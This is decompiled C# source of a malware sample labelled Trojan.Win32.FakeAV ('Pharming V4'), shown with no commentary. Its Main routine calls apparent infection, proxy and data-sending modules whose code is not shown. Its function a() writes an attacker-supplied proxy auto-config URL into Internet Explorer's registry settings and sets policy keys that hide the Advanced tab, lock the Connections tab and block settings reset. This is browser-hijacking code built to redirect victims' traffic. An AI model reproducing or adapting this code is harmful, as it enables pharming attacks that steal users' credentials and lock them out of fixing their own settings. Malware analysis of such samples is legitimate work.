// Decompiled with JetBrains decompiler // Type: Pharming_V4.Module1 // Assembly: Pharming V4, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null // MVID: 0A0AA727-6E9B-45EB-9818-CBBF4207AD4A // Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.Win32.FakeAV.msyh-d3f833cca57e8fd32da1564163086307e943e07f01fc02218e28a85509c2cfe2.exe using Microsoft.VisualBasic.CompilerServices; using Microsoft.Win32; using System; namespace Pharming_V4 { [StandardModule] internal sealed class Module1 { public static string osName = "UN"; [STAThread] public static void Main() { pharmantiga.pharmantiga(); pharmnova.pharmnova(); so.so(); enviophp.enviophp(); criatxtinfect.criatxtinfect(); atproxy.atproxy(); } public static object a(string b) { Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData); Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\", true).SetValue("AutoConfigURL", (object) b); Registry.CurrentUser.OpenSubKey("SOFTWARE\\Policies\\Microsoft\\Internet Explorer\\Control Panel", true).SetValue("AdvancedTab", (object) 0); Registry.CurrentUser.OpenSubKey("SOFTWARE\\Policies\\Microsoft\\Internet Explorer\\Control Panel", true).SetValue("ResetWebSettings", (object) 0); Registry.CurrentUser.OpenSubKey("SOFTWARE\\Policies\\Microsoft\\Internet Explorer\\Control Panel", true).SetValue("AdvancedTab", (object) 0); Registry.CurrentUser.OpenSubKey("SOFTWARE\\Policies\\Microsoft\\Internet Explorer\\Control Panel", true).SetValue("ConnectionsTab", (object) 1); Registry.LocalMachine.OpenSubKey("SOFTWARE\\Policies\\Microsoft\\Internet Explorer\\Control Panel", true).SetValue("AdvancedTab", (object) 0); Registry.LocalMachine.OpenSubKey("SOFTWARE\\Policies\\Microsoft\\Internet Explorer\\Control Panel", true).SetValue("ResetWebSettings", (object) 0); Registry.LocalMachine.OpenSubKey("SOFTWARE\\Policies\\Microsoft\\Internet Explorer\\Control Panel", true).SetValue("Autoconfig", (object) 0); Registry.LocalMachine.OpenSubKey("SOFTWARE\\Policies\\Microsoft\\Internet Explorer\\Control Panel", true).SetValue("AdvancedTab", (object) 0); Registry.LocalMachine.OpenSubKey("SOFTWARE\\Policies\\Microsoft\\Internet Explorer\\Control Panel", true).SetValue("ConnectionsTab", (object) 1); return (object) b; } } }